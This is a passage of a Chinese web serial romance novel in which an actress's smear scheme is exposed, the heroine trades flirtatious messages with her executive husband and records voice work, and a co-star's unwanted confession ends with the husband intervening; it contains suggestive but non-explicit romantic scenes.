经纪人心里一凉却还是扯出一抹笑:“佳雨,我有个好消息要告诉你。” “你被选中成为A市联合孤儿院基金会组织的宣传大使了!”经纪人放高了声音让她清楚这件事的重要性。 A市这地方一个广告牌砸到十个人可能里面就有一个非富即贵。 而这些有钱人最喜欢做面子工程,捐钱做慈善,一方面提高路人好感在上面挂个名,另一方面则是可以合理的降低税款。 这其中就有很多道貌岸然的大人物关注这些慈善事业并建立各种基金会,很多明星艺人想免费拍摄这类广告片或者不要钱的担任形象大使也是看中了这些基金会背后的资本大佬。 拍摄一个广告片耽误的时间不多,但能从资本手里得到的资源才最重要。 颜佳雨果然很高兴,高兴之余都忘了自己还在记恨温栩栩。 她能轻而易举成为孤儿院基金会组织的形象大使,温栩栩有这个能力吗? 说到底温栩栩在她眼里还是能轻松撵死的虫蚁。 颜佳雨笑意加深,片刻她问了句:“张雨萌进去了吗,什么时候被判刑?” 经纪人有些心慌:“现在只是被抓走拘留,走法律程序的话还需要等一阵子,所以现在还不清楚张雨萌会被判多久。” 颜佳雨无所谓的关掉手机抬眼冲经纪人笑:“那就等张雨萌进去后把任天浩那件事往她身上引,务必要让网友们相信张雨萌记恨我和温栩栩比她红才出此下策。” 等张雨萌真的被判刑谁还会管张雨萌的那些满天黑料?她父母恐怕也不知道亲生女儿在外面惹了多少祸,肯定不敢帮她说话,说不定更怕被人知道她们跟张雨萌是亲人从而遭受报复。 到那时脏水都是张雨萌的,而她只是这场混战中最无辜的受害者。 经纪人深深地看她几眼心底却是一片冷意,颜佳雨能狠毒成这样,看来她也要早些找好出路了。 …… 女团成员休假吃过早饭后都回家看父母,温栩栩比较惨,她觉得她比孤儿还惨,等队员离开别墅这才回房间去了隔壁。 网络上不停有人对温栩栩道歉,温栩栩登录微博发了条博。 【温栩栩:相信各位的老师应该教过大家不要随波逐流盲目跟风,我记得还有最重要的一点要学会换位思考。那些向我道歉的网友你们对不起的不是我,你们对不起教你做人道理的师长也对不起你们自己。】 温栩栩发完微博就下线了,一群道歉的人哑口无言。 小学初中的课本上更多的都是教他们如何做人,可她们有些人进入社会后就忘了这些,一头热的被人带节奏成了网络刽子手。 江恒终于抢回了手机并让经纪人买回来政治课本,翻找到温栩栩说的那一页拍下来发微博,并配了个面带微笑的黄豆豆表情。 温栩栩发完微博就下线也不知道江恒来这么一出,她打开冰箱拿了瓶酸奶这才打开电视窝到了沙发上。 温栩栩换了个电影频道,正巧上面播放的是夜阑的一部电影。 她看着看着就有点走神,没忍住拿出手机骚扰一下黎云笙。 【温栩栩:在嘛~~】 【温栩栩:今天是虚拟妻子小店铺开店第一日,欢迎顾客光临本店~】 黎云笙没有去公司,他回到隔壁就去了书房处理工作,文件还没看几份就收到温栩栩的微信。 【黎云笙:你这里提供什么服务。】 温栩栩收到他的回复眼睛一亮。 【温栩栩:我们这里的服务可多啦!请问顾客要领养你的小娇妻栩栩吗。】 第632章 全都是她自导自演 收到温栩栩突然来的骚扰信息,黎云笙微微扬眉。 【黎云笙:嗯,养。】 【温栩栩:那游戏正式开始喽,第一题你的小娇妻早上不想起床你会怎么做呢。A:亲她脸B:亲她嘴C:叫醒她】 【温栩栩:请尽快作答。】 黎云笙微微垂眸。 【黎云笙:我选D,我陪她继续睡。】 温栩栩啊哈了几声,怎么都觉得这里的睡是个动词。 【温栩栩:第二题~要为小娇妻挑选合适的衣服,A:jk裙,B:你的衬衫,C:情趣睡衣,D:女仆装,请选择~】 黎云笙默默的看了许久选项,这几样家里都有,网络上最火的以及国外流行的这类衣服家里面都不缺。 他想把温栩栩当做奇迹栩栩,把他收藏的那些衣服们都试一遍。 黎云笙十分豪放的选了所有选项。 【黎云笙:ABCD。】 温栩栩气鼓鼓,哪有人这样选的。 她撇撇嘴没回复窝在沙发上喝酸奶,男人在书房左等右等都没等到某个撩火的小妖精回复他,现在也是没心思工作直接下楼去找那令他心烦意乱的温栩栩。 一小瓶酸奶被喝的见底,她伸着舌头舔着酸奶盖,红红的舌尖儿灵巧的舔食酸奶,这一幕落在男人眼中呼吸也在这一刻乱了。 她浑然不知的伸了个懒腰,那双潋滟妖冶的桃花妖更是勾人心魄令人移不开眼。 感受到男人灼烫炽热的目光温栩栩没来由抖了一下,抬眸就对上男人黑漆漆的眼瞳,然而下一秒她就看到男人怀里抱着的几件衣服,赫然就是方才温栩栩提到的那几件。 温栩栩彻底僵住了。 “你没去公司吗。”温栩栩想撒腿就跑,但低头就对上男人逼人的视线,她怀疑自己如果真的跑了也会被男人逮回来摁到沙发上欺负,还不如这会儿就卖萌装乖。 她内心悲叹一声,可恨!她还以为他不在家才这么放飞自我的!哪能想得到他真的会把那些衣服拿出来啊! 黎云笙把衣服搭在沙发一侧,居高临下的看着眼前的小妻子:“还玩吗。” 温栩栩欲哭无泪:“不玩了…” 男人附身逼近她:“可我想玩。” 他亲吻她的耳垂轻咬一口:“你不在的这段时间我买了很多东西,我可以陪你继续玩小妻子的游戏。”黎云笙压低声音,“你会喜欢的。” 温栩栩心肝跟着颤了颤,猛地被男人吻住。 她嘴巴里一股香甜的奶油味还带点酸奶的酸涩味,男人有些失控的抱紧怀中的人,她身上淡淡的香味也引得他情绪激动。 温栩栩双眸迷离的望着眼前的男人…… 地上散落了数不清的衣服,有的被撕扯成碎步有的隐约还能看出个轮廓。 温栩栩心道饿狠的男人都这么可怕吗。 她觉得双腿都哆嗦,此刻正坐在浴缸里任由吃饱靥足的男人给她搓洗身体。 “我觉得我们应该走可持续发展的道路……”温栩栩实在没忍住跟黎云笙讲道理。 黎云笙道:“我走的就是这条路。” 你胡说八道! 温栩栩扁嘴:“你这明明就是看到一座矿山就想一夜把所有的矿都采了。” 男人抚摸她颈上的红痕:“你这比喻不对,像你应该是需要每天浇水的名贵花朵,如果长时间不浇水就需要重新刨一刨花朵周围的土地再多浇点水。” 他亲亲温栩栩的唇轻咬了下:“今天土刨过了,也浇够了今天的水。”他意味深长:“娇花就需要这样对待。” 温栩栩差点一口气没缓上来。 “我没想到你是这种人。”温栩栩抬腿想溅他一脸水,结果腿上没什么力气气鼓鼓的抬手浇他满头水:“你做这种事真是越来越熟练了。” 黎云笙眼眸深了几分:“都是温老师教的好。” 温老师:“……” 温老师一点都不高兴甚至还想尥蹶子。 黎云笙撩起她肩上的湿发说道:“你知道这种场合下的总裁都会说什么吗。” 温栩栩有些茫然,她觉得自己有点跟不上黎云笙的节奏。 黎云笙一手捏着她的下巴唇角勾起一抹笑:“书里的总裁会说,全都舔干净。” 温栩栩:“……” 泼你一脸水就让她全舔干净?这都看的什么乱七八糟的书! 温栩栩小心脏乱跳已经猜到大概了。 她就说黎云笙怎么变得越来越会玩花样了! 原来全都是从霸总文学上学的! 温栩栩一时有些失语甚至觉得还好他没下载什么满屏搞颜色的文包,不然她绝对已经凉了。 温栩栩想了一下轻咳一声:“那些书还是勉强能看的,但如果有些书开头就二十四啊,三十啊,三十六那种直接关文档就好,那全都不是正常人。” 黎云笙沉默片刻看她的眼神越发诡异。 网上有句话似乎没说错,女孩子色起来没他们什么事,是他输了。 温栩栩被黎云笙折腾一通洗过澡后把人抱到床上,他们闹到了下午才觉察出饿来。 黎云笙干脆又叫了华庭的东西另外让人外带温栩栩最爱的的鲜芋牛奶西米露。 温栩栩没什么胃口,只喝那一杯饮品就撑到了,嘴巴里都是淡淡的奶香味,她咂咂嘴凑过去在男人嘴角亲了亲。 两人还在腻着,却不知热搜跟颜佳雨相关的词条被人顶上去了。 #颜佳雨自导自演# 颜佳雨的粉丝看到这词条本以为是什么好的热搜,点进去看后才发现是跟温栩栩有关的。 且赫然说明假扮温栩栩粉丝伤害颜佳雨迫使颜佳雨不得不停止工作重病修养的任天浩是颜佳雨联络听她指挥的。 证据显示颜佳雨的经纪人给任天浩转了一大笔钱,且任天浩的妻子儿子已经带着钱离开A市,显然是早有打算。 颜佳雨经纪人做的事,不就代表颜佳雨的态度? 这件事被爆出来后,网民哗然。 谁都没有想到在荧幕上温温柔柔的颜影后竟然狠如蛇蝎,用这样下作的手段去对付温栩栩? 为什么要这样针对温栩栩设计温栩栩?是因为温栩栩长得像她,还是温栩栩太火了? 第633章 比心 颜佳雨这些年温婉的虚伪面具被人彻底揭下了。 …… 温栩栩还不知道许愿帮她做了件大事,她还依偎在黎云笙怀里懒洋洋的,手机铃这时候响了,来电人是《云雾》的导演赵导。 《云雾》这部剧已经本就是边拍摄边剪辑的,现在已经全部剪辑完成,赵导找的演员都是台词功底不错的实力派演员所以不想直接找配音打包配整部剧,赵导更希望演员能到棚里自己配音。 他联系了这部剧的主要角色,都为他空出时间来去棚里配音,饶是排满行程的陈升都表示自己可以为了《云雾》请假。 而林青黛这个角色是这部剧的灵魂人物,更应该找演员自己来配音了,所以赵导就打电话联系温栩栩想跟她约个时间。 温栩栩现在正在休假,又觉得配音不需要离开录音棚,而且她的镜头没有那么多应该耽误不了多少工夫。 温栩栩应下跟赵导约好今天下午就会去录音棚参与录音。 挂断电话就收到赵导发来的地址,巧的是租用的录音棚还是黎氏娱乐内部的录音棚。 “有工作了?”黎云笙不再看文件扭头问了句。 “《云雾》的周导让我去棚里配音,他租借的录音棚是黎氏娱乐的。”温栩栩让他看了下手机上赵导发来的地址:“要跟我一起去公司吗?你还可以随时下去查岗。” 温栩栩笑眯眯的,像是恢复点精力了。 黎云笙不着痕迹的打量她,“你是真的一点都不累。” 温栩栩内心警铃大作:“不,我特别累,我接了这工作只因为配音的时候也可以坐着。”她捂脸:“我特别累,放过我吧,你的娇花承受不住了。” 说着还缩到他怀里,这动作一点说服力都没有。 黎云笙垂眸看着在他怀里乱蹭的温栩栩,他没说话握住温栩栩胡乱点火的手包裹在掌心。 温栩栩靠在他胸口处,能清楚的听到两人的心跳声,她呼吸有点乱睫毛跟着轻轻颤了颤。 她头埋在黎云笙胸口悄悄探出另一只手比了个小心心这才机敏的抬起头冲他眨眼睛。 黎云笙低头伸出手学着她的样子回了个心,温栩栩被他逗笑了。 “你是不是从来没有谈过恋爱啊。”温栩栩没忍住调侃。 黎云笙唇抿成一条直线:“你很得意?” 温栩栩舔舔嘴唇伸出手去触碰男人的下唇,“我真的好得意,刚才你学比心的样子真的好可爱。”她捧着自己的脸笑的眼睛一闪一闪,眼睛里盛满的都是面前的男人。 他似乎有些羞恼。 他是真的没有谈过恋爱,只有一个暗恋过的颜佳雨,那时候还是最单纯的少年时期,好像一旦喜欢了谁就有毁天灭地付出一切的冲动,看到她心情就会变好,跟在她身边哪怕她一句话不说他都能开心一天,很幼稚也很可笑。 但是仔细想来颜佳雨也是跟他比过心的。 她是两只手臂抬高过头顶面带笑容的比了个大大的心,那还是在读书时在学校参加活动,颜佳雨穿着校服裙在热风中冲他微笑。 黎云笙又低头瞧她:“我记得家里还有校服裙。” 温栩栩懵了一下:“不是被你撕坏了吗。” 黎云笙想也不想回她:“剧本多,一套不够。” 温栩栩一点都不想问他是什么剧本,反正不会是什么正经剧本。 穿校服群玩一次坏一套衣服那种剧本想来也都是些带颜色的,车轱辘都要从脸上碾过去了。 温栩栩不肯挪地儿:“我不穿,我下午要去工作。” 她哼哼:“不穿不穿。” 他捏住温栩栩的下颌,按压她的下唇暗示道:“不做别的,只想让你比个心。” 温栩栩:??? 这是什么奇葩的要求? 温栩栩眼带怀疑的盯着他看,“真的只比个心?” 黎云笙捏捏她的耳垂把玩:“你想玩别的也可以。” “不不不,我不可以。”温栩栩慌忙摇头从她怀里钻出去,“我去找校服裙。” 这栋别墅房间很多,有两间都是温栩栩的衣帽间,那间房靠墙的衣柜里全都是黎云笙在网络上精心挑选的各种衣服,温栩栩打开翻看了一遍没找到校服裙,她心里犯嘀咕一低头就瞥见一个才拆封不久的纸箱子。 她迟疑的打开就看到满满一箱子校服裙。 温栩栩:“……” 他这不是想玩一玩,他这是想让她死! 温栩栩呼吸一滞,就没人知道黎氏的总裁喜欢看各种py段子吗,曝光他吧,累了,毁灭吧。 她愤愤的拎着一套校服裙换上。 靠在房间门口的温栩栩小声清了清嗓子:“黎云笙。” 她喊了一声才伸出一只手先比了个小小的心然后探出个小脑袋正对上男人深邃漆黑的眼眸。 黎云笙狭长幽深的眸闪过几分纵容的柔意,他看着她跳进房内明艳的小脸上带着大大的笑脸,桃花眼都像闪烁着璀璨的光,她微微歪头,两条手臂伸长到头顶对着他比了个大大的心,好像通过这个动作向他诉说爱意。 好爱你哦。 好爱好爱你哦。 她的眼中盛放满天星光,而那满天星光中好像藏着一个他。 他默默的看着温栩栩,记忆中那个在青葱岁月穿着校服裙对他比心的身影面容变得逐渐模糊起来,那个剪影好像代入了另一个人的身影。 房间的窗户是开着的,有风吹进来,微弱的阳光照进房内,没有照到她身上却给他一种温栩栩整个人都笼罩在阳光下的错觉。 …… 陈升本来并没有档期去录音棚配音,是赵导说全组的人都会去棚里参与录音,陈升让赵导告诉她温栩栩什么时候参与配音。 陈升走近录音室看到棚里的温栩栩已经在配音了。 录音室里面都会另外有个录音棚,这之间会用特质的隔音玻璃在这中间隔开,需要录音时才进录音棚,而其他工作人员录音师包括导演都会在录音室外面根据收音器外放检测有无瑕疵音需不需要重新来一次。 录音室外一般都会有配音导演戴着耳机跟录音棚里面的人进行沟通,不戴这耳机跟他们沟通他们是听不到外面有人说话的。 陈升进录音室时温栩栩已经开始录音了。 第634章 入戏 录音室大屏幕上是温栩栩一身花旦打扮在台上带着戏腔的唱着,声音逐渐低下去,宛若在控诉着男人喜新厌旧又像自叹自哎,她垂着眼睫,那双灵动的眼眸掩去所有光彩。 陈升心口微微泛着疼意,这一幕到这里已经没了她的镜头,赵导抬头看他一眼,两人很熟就没装样子打招呼微微抬抬下颌算是问好了。 赵导快进大屏幕上的镜头一直到温栩栩后面的镜头,是陈升在剧中饰演的顾队跟温栩栩的互动镜头。 卸妆后仍然明艳动人媚光四射的女人身上一袭素净旗袍衬着那婀娜的身条。 她眼尾上挑,这一刻已经收去眼底的媚意,一颦一笑都带了几分清冷,让人瞧不出半点黏腻和妖冶气。 她抬手摸摸耳垂,唇角却像是勾起一抹腼腆的笑意:“顾队,好久不见。” 温栩栩在录音棚里,细微的呼吸声,轻笑还有带了点颤音的问好都将她对这个男人的情意藏匿在心底。 陈升眼眶发红的望着大屏幕中的林青黛,他有些忍不住的扭头去看棚内正在配音的温栩栩。 她已经入了戏,哪怕中间有三层隔音玻璃他也能隐约看到她身上好像附上了林青黛的灵魂。 陈升如饥似渴的看着她,目不转睛的看着这个本来不该存在的人,近乎贪婪却又心中暗含悲怆的凝望她。 陈升在原地站着不动只因这里能最清楚的看到温栩栩。 温栩栩配完这句赵导似乎也因陈升的异样有些无言一时没有快进剧情,温栩栩挑了挑眉扭头朝外看去,陈升一直看向棚内,两人此刻四目相对。 温栩栩一愣。 她看到陈升那双琥珀色的瞳眸中藏着十分复杂的情绪,好像隔着那几层玻璃隔空对她说“好久不见。” 陈升对她的感情会这么复杂吗? 温栩栩只觉得应该是自己想多了,她面色平静的对外面的陈升微微点了点头。 陈升一时想到剧情中跟林青黛最初相识她看自己也是这种眼神。 “陈老师,好久不见。”温栩栩在配林青黛还没从这感觉里出来,打招呼时自然而然的带了点林青黛清雅的味道。 陈升眼睛更红,他扯着唇对她笑。 赵导在一旁才是如坐针毡,拍个戏还真的入戏喜欢上林青黛,这叫什么事儿啊。 赵导干笑几声继续让温栩栩配后面的剧情,温栩栩配音陈升就稳稳的坐在沙发上看着她,边看便听,好像只有这样才能留住“林青黛”。 她轻笑,低笑,调笑,暧昧的笑都会让他眯了眼,直到听到她语气中暗含几分惆怅心口的痛感也更加明显。 录音室的门被打开,副导演带着《云雾》的女主角赵莉莉进来,赵导看也没看来人继续工作。 副导演在一旁笑了笑:“赵导正忙着呢,刘老师您先坐。” 副导演让人把准备好的下午茶点放到茶几上,这一瞥就见赵莉莉还没找地方坐只是眼睛直勾勾的盯着陈升不挪开。 副导心里咂舌,他是听朋友说过赵莉莉对陈升有意思一直追陈升,《云雾》似乎也是她为了追求陈升才接的。他本来不当一回事,可现在一看这事儿估计是真的。 但是陈升对赵莉莉没意思只拿他当同事这也是全组人都知道的事,副导忧心的瞧了眼录音棚里的温栩栩。 瞧瞧,那才是陈升喜欢的。 可副导心里再清楚也知道不能不给赵莉莉面子,他笑呵呵的对陈升打了声招呼:“陈老师,赵老师知道您今天要来棚里所以特意过来探探班呢。” 陈升站起来跟她打了声招呼,赵莉莉眼睛一亮想跟他多说几句,不过陈升显然没心情重新坐下继续盯着大屏幕上的人,看看大屏幕再看看棚里的人。 赵莉莉笑容僵住了:“这是剧组后来找到救场的那位演员吧。” 她没话找话想跟陈升聊天,陈升看她一眼:“这不是很明显吗,她演林青黛。” 赵莉莉见他没心思聊天一时心里有点着急只好在一旁当个木偶人。 录音室传来温栩栩哼唱的戏曲声,清亮中带着说不出的缠绵劲儿。 赵莉莉内心有些警惕抬头看向大屏幕,大屏中的温栩栩身上穿着青绿色艳色旗袍,旗袍上绣着更加艳丽夺目的花朵,一朵一朵开的正艳又像是她这个人一样十分危险。 她妆容十分精致,化着浓妆却没有半点低俗之意,好像她生来就该是这样半带雍容半带媚意。 她被陈升的饰演的顾队背着,手臂抱着他的脖子唇角含笑,她伏低身体紧贴他的,在他耳边轻声低吟,仗着他看不到她的眼睛,此刻眼底是藏都藏不出的浓烈情谊。 赵莉莉心间一颤,她被温栩栩这个角色震住了。 她不是没见过原来出演这角色的演员,那时她便觉得那名女演员已经够苏媚,可到现在她才知道有些人一举一动都撩拨人心,媚到骨子里。 她笑意更僵了,可余光看到陈升目光灼灼的望着温栩栩心口又是一痛。 赵莉莉低垂着眼脸,又听到那清润的声音抑扬顿挫饱含情谊唱着戏曲,转音都带着苏意。 她脸色一变,抬头就看到屏幕中的“林青黛”在台上虚作了个动作,身轻如燕,手中握着的团扇转了一转最终至于胸前,另一手捻起兰花指,动作优美且优雅高贵。 屏幕中的“林青黛”眼神波光流转,一甩水袖动作小意且潇洒,柔中带美。 赵莉莉为之一震,镜头终于近了些拍到全景又切了近景,她身上这身戏服缀满东珠,戴上了华冠整个人珠光宝气若是长相不够明艳绝对压不住这身衣服。 她眼尾低垂媚意自然而然从身上散发出来,近景只拍了她这张脸,那盈盈美目好像在看镜头,美眸潋滟流光像是盛着万千星河,只一眼好像望到每个人的心底。 赵莉莉一颗心沉下去,她已经隐约有点慌了。 她接这部戏有一部分原因是为陈升,另一部分则是因为导这部戏的是赵导,这部戏剪辑完后一定会在央台黄金档上星播出。 赵导给了她女主的角色她才肯点头接下,可现在看了这部剧她隐隐觉得这部剧更吸粉的人设是“林青黛”一角。 第635章 喜欢 赵莉莉心想,她来录音棚才看了温栩栩多少镜头,可每个镜头都十分惊艳,穿旗袍的温栩栩,穿男装的温栩栩乃至一身华服的温栩栩。 她就好像在这屏幕上都在发着光,好像只要有她在周围的人都沦为陪衬。 可明明林青黛就只是个配角,连女二号都算不上的女配角。 就是这么个女配角每次出场都是高光时刻。 赵莉莉垂眸眼底闪过一丝计较之意,她抬起头深深的看了眼录音棚里的温栩栩。 赵莉莉一直待在剧组并不怎么爱看八卦,但即使在剧组,剧组的工作人员也会提到最近爆红的流量温栩栩,她也是知道有这么个人,助理给她看过温栩栩的照片,她当时还觉得这图P的太过了,任谁都不会有这么一张完美的建模脸。 直到现在见了温栩栩本尊才知道没有P图,她本人就长这副模样。 赵莉莉扭头又朝陈升看去,陈升目光一直放在温栩栩身上根本没注意她有什么异样,赵莉莉内心嗤笑一声跟副导说还有工作没再多留。 赵莉莉走到门口还是没忍住回头看了眼陈升,见他没有任何反应内心有些不爽却还是忍下。 不管是为了陈升还是为了她自己,《云雾》里温栩栩的镜头绝对不能这么多。不然到时候观众都不知道谁才是女一号了。 赵莉莉踏出录音室拨通《云雾》赞助商的电话。 …… 温栩栩这部剧中林青黛说话要慢一下,咬字转音很轻,带着一股优雅之意,她录着入了戏,正在跟赵导沟通后面的剧情,扭头便看到录音室的门被打开了。 温栩栩看到来人倏地一愣,目光落入男人安静深邃的瞳眸中。 温栩栩眼睛都弯弯的。 赵导没料到自己在这棚里还能遇到黎氏的黎总,他暂停了工作寒暄了几句,见黎云笙没有什么交谈的兴趣猜他只是来探班。 “周导不必紧张,我只是来看看这部即将上线的剧拍的怎么样。”黎云笙语气不咸不淡,赵导这才放下心继续招呼温栩栩配音。 黎云笙瞥了眼录音棚内的温栩栩,温栩栩偷偷的用手比了个小小的心,男人心情颇好的勾了勾唇角。 温栩栩又开始录音,黎云笙看着屏幕上一举一动都勾人心弦的“林青黛”眸光幽幽的转向棚内工作配音的温栩栩,却出乎意料的看到陈升面上带了几分沉痛之意。 男人凌厉森冷的目光像开了锋的利刃射向陈升。 他瞳眸微微一缩脸上有几分微妙之意,毫无自觉的温栩栩在棚内转着录音话筒眼尾上挑自带流量媚意的扫射到男人身上,唇角的笑有了些欲迎还羞之意。 温栩栩之前电影客串的时候他没有探班,现在看到屏幕上她出演的林青黛竟是对温栩栩之前拍的那些剧产生了浓厚的兴趣。 黎云笙眸光深了几分,后面有一场会议要参加,他没再多待只离开前多看了温栩栩一眼给她发了条信息。 【黎云笙:工作完后我来接你。】 温栩栩休息的时候看了眼手机,看到这条信息眼睛又弯了弯。 温栩栩发了一张动图表情包,一只白嫩嫩的可爱毛团子猫咪在地板上打了个滚踢蹬着粉粉的爪爪。 好的呀~ 黎云笙表情严肃的听着各部门经理做着工作汇报,手机弹出条信息,看到她发的表情包眉眼之间带了几分柔意。 不等他回信息温栩栩那边又发了信息。 【温栩栩:今天可能要配到很晚啦。】 配图是一只奶叽叽炸毛缩在角落里眼角含泪的奶猫。 【黎云笙:我等你。】 温栩栩转着椅子笑眯眯的翻找自己的表情包图库。 温栩栩又发了一张,白色小猫咪两只爪爪捂住脸趴在桌上,耳朵一动一动,上面配字{等你带我回家呀~} 【黎云笙:好。】 温栩栩打算收起手机却看到手机屏又闪了下,黎云笙发来新的消息。 图片上是一只黑色的软萌小猫也做着两只爪爪捂脸的动作,不过没有趴到桌上,它偷偷移开一只爪爪后眨了眨眼睛,配字{好呀~} 温栩栩心被萌化了,捂着手机扣在心口脸有点发红。 “温栩栩,准备好了吗,我们继续往后录?”赵导的声音在耳麦里响起。 《云雾》是要马上上映的且还要送审参加今年的电视剧评选,评选时间在年后,赵导是想用这部剧给温栩栩争个最佳女配角和最佳新人奖的。 温栩栩晚上吃过饭一直录到晚上十点,她所有的台词都已经录完,陈升一直盯着大屏幕上的温栩栩,看她那场雨戏,看她在雨中唱霸王别姬,看她素白色的衣衫被暴雨浸湿彻底沦为困兽,看她倒在其他男人怀里身上还渗着血迹。 陈升眼瞳深邃的握紧拳,赵导又想起杀青那天陈升就是这种眼神一时心里也有点发堵。 他跟陈升是老搭档,对陈升也很了解,知道他陷进去实在是不能冷眼旁观,这个时间叫了点宵夜送到棚里,给他多点时间接触温栩栩,见陈升约了温栩栩出去他也没拦着,只是连连叹气。 “突然叫我出来难不成要跟我约戏吗。”温栩栩擅长交流,她跟陈升合作的时候一直都很愉快,她知道陈升是个不错的朋友所以跟着调侃了几句,不料陈升提到了林青黛。 “我觉得你很像林青黛。”陈升温柔的看着她,那眼神让温栩栩不得不深思自恋一下。 她略有些不安,手机闪了一下也没来得及去看就听到陈升放低声音在她耳边呢喃:“《云雾》杀青了,可你还在林青黛就一直在。”陈升沉吟低缓:“温栩栩,我好像喜欢上你了。” 温栩栩倏地动作一滞。 原来不是她想太多,是陈升真的对她藏了别的心思。 她抬头,陈升目光沉静,他一如当初的温柔,此刻唇角挂着一抹浅淡的笑意,他像是怕温栩栩不信般开口:“温栩栩,给我个机会好吗。” 温栩栩笑意都僵了。 她拿你当朋友你拿她当什么啊陈歌! 第636章 对你没有任何兴趣 杀青当天男二号跟她告白,这才过去多少天就多了一个陈升? 果然……赵导说的没错,林青黛这样的人是那些有志之士的劫难。 她抓住陈升方才那些话的漏洞,那句“可你还在林青黛就在”让她有点发懵。 温栩栩后退一步:“《云雾》杀青了,我只是演出了一个林青黛但我并不是林青黛,杀青后我已经把她永远留在《云雾》中。我还在不代表林青黛就在,我和林青黛是不同的个体。” 不同的个体? 陈升眼底一片晦涩,温栩栩表情凝重:“陈老师你不信吗,你知道林青黛听到你跟她表白会是什么反应吗。” 陈升沉默,没办法想象。 “那你想知道她是什么反应吗?我可以给你看看。” 陈升怔住。 温栩栩微微阖上眼眸,再度睁眼时眼尾上挑沾着艳色,她身上的气质彻底变了:“刚才你说什么可以再说一次。” 温栩栩说话的语气都带点抑扬顿挫的意味儿。 陈升心跳加速,他望着眼前的温栩栩眼眶酸涩。 是林青黛,是林青黛! 他多次看到林青黛死在那场雨戏中,素白的衣袍开满血色花朵,她却眸中带着释然洒脱的唇角含笑。 现在她出现在面前令他不得不激动。 陈升伸出双手想要捧住她的肩,她却轻巧的移着步子躲开陈升的触碰,斜着眼轻撇他一眼:“做什么动手动脚的,林老板可不是谁都能碰的。” 陈升眼神狂热没了之前的镇定:“我喜欢你,我真的很喜欢你。” 陈升嘴唇翕动:“我会对你很好,你想要的我都能为你找来送给你,我只希望你给我一个追求你的机会。” 温栩栩骨头很软似的靠着墙面连连笑着,她的笑声都令人浑身酥麻,再一扬眉宛若看一个小玩意儿似的瞧着他。 “我对你没有任何兴趣,听清了吗。” 剧中的林青黛在特别训练营时是听从上级指示从不违反规则的学员,毕业后成为林老板再跟除了队友以外的人接触都是这副模样。 而陈升显然就是队友之外的人。 陈升当然知道林青黛对他没兴趣,林青黛心里只喜欢一个剧中的的男主角,他握紧拳:“林青黛,我真的喜欢你。” 他激动的握住她的手,温栩栩脸色微变,笑意也多了几分冷意:“喜欢我的人那么多我需要给每个人回应吗,放手。” 温栩栩挣开陈升不想再作为林青黛陪他演戏,“陈老师,我和林青黛都不喜欢你,你理智一点好吗。” 陈升一时激动双手扣住温栩栩的腰将她整个人揽进怀中紧紧抱着:“青黛,你别喜欢他,你给我个机会跟我走,我不会让你死的,我会让你活的比任何人都开心……” 疯了,真的疯了。 没等她开口阻止陈升就感觉到有一股大力将陈升撕扯到一旁,她一滞便看到陈升被狠狠的踹到墙角。 温栩栩呆滞一瞬抬眸就对上男人狠厉无情的一双黑眸。 他握着拳身上散发着难以压抑的低气压,犹如一头爆发的猛兽眼神冰冷的看着温栩栩,温栩栩抿了抿唇还未出声就见男人眼神冰寒的凝视扶着墙想站起来的陈升。 陈升呆住,他是见过黎云笙知道黎云笙是黎煌娱乐的总裁,可现在…… 他跟温栩栩是什么关系? 陈升惊住看着面前身姿挺拔巍峨浑身带着逼仄气息的男人。心底跟着微微一寒。 “黎总……”陈升咳了一声喉间酸涩:“不知道黎总这是什么意思。” 黎云笙眸光阴冷,温栩栩立刻往前一步拉住男人的手:“他是我丈夫。” 这个回答有些猝不及防一时竟让陈升无言许久。 黎云笙低头看着温栩栩,感觉到温栩栩在他手心写写画画像是在讨饶一样。 他薄唇抿成一条线,深深的看了温栩栩一眼。 “陈老师不知道我们结婚的事,而且陈老师喜欢的是‘林青黛’这个角色,她只是把我当成林青黛了。”温栩栩解释了下,还真的怕黎云笙给陈升穿小鞋。 别看陈升在圈子里地位超然,但真要得罪了资本也会被整治的很惨,有些人就算为了跟黎氏交好也不敢再给陈升资源。 她结婚的事陈升本就不清楚所以不能怪他,她也不希望陈升因为这种奇怪的理由被封杀。 “他不知道我们结婚的事难道你也不知道?”黎云笙脸色阴沉,怒火闷在胸口即将爆发。 男人笔直的站着,只这么站着都给温栩栩一种压力。 温栩栩冲她眨了眨眼摇晃着他的衣袖:“你先别生气。” 黎云笙冷笑:“我没生气。” 温栩栩:? 明明就是在生气,都开始冷笑了还在这里睁眼说瞎话。 温栩栩撇撇嘴继续摇晃着他的衣袖。 黎云笙盯她几秒,温栩栩还在摇他的衣袖卖萌:“好好好是我的错,是我工作太忙了没有关注你,这些等我回去后跟你好好道歉。” 黎云笙皱眉阴冷的眼神再度飘到陈升身上,温栩栩挡住他的视线:“好了,他不知道我们的关系。” 温栩栩冲他笑:“我长得这么漂亮有追求者不是很正常的吗?” 温栩栩意有所指:“你身边也不缺追求者我不是也没有因为这种事跟你生气吗。” 黎云笙又是冷笑一声:“那是因为你根本就不在乎。” 这男人还上纲上线没完了。 温栩栩忍下了想要翻白眼的冲动继续冲他笑:“在外面闹大了让别人看我们的笑话吗,好了,我们回家。” 温栩栩踮起脚在他耳边亲了亲放低声音:“下次你想玩什么我都陪你,我们先回家好吗。” 黎云笙像是被气笑了,竟是不知道温栩栩能为陈升做到这份儿上,他说:“猫,兔子,狐狸。” 温栩栩很配合的连连点头。 “布偶猫,垂耳兔,九尾狐。” 温栩栩有些没站稳。 布偶猫和普通白猫黑猫不养,尾巴又长又多毛,九尾狐更是…… 她吞咽了下口水又悄悄扯着黎云笙的衣袖,男人充耳不闻:“旗袍,林青黛,落地窗。” 第637章 回家随便你 听清楚黎云笙说什么的温栩栩整个人都呆了。 未免太过分了吧。 黎云笙嗤笑一声:“不同意的话也没事,刚巧我看你这位朋友很不顺眼。” “别。”温栩栩抱住他手臂不撒手,生怕一撒手这人就冲过去再冲陈升心窝踹几脚。 陈升的确是练过,但跟黎云笙这种从小被家族培养的还是不能比,她都怕黎云笙一个不小心能把陈升打死。 “我同意我同意。”温栩栩笑意都是僵的。 “急什么,我还没说完。”男人颇有些得寸进尺。 温栩栩已经在扶墙了,就听男人道:“麻绳,铃铛,手铐。” 两人声音都很小,只有彼此能听到,温栩栩脸已经红了个彻底,她脑内已经有画面了内心有个小黄人捂着脸啊啊啊的不停鬼叫。 太掉节操了! “别说了,回家随便你。”她红着脸软声细语的哄他,实在是不能听他继续说那些了。 黎云笙终于肯给她面子,拉着温栩栩就走。 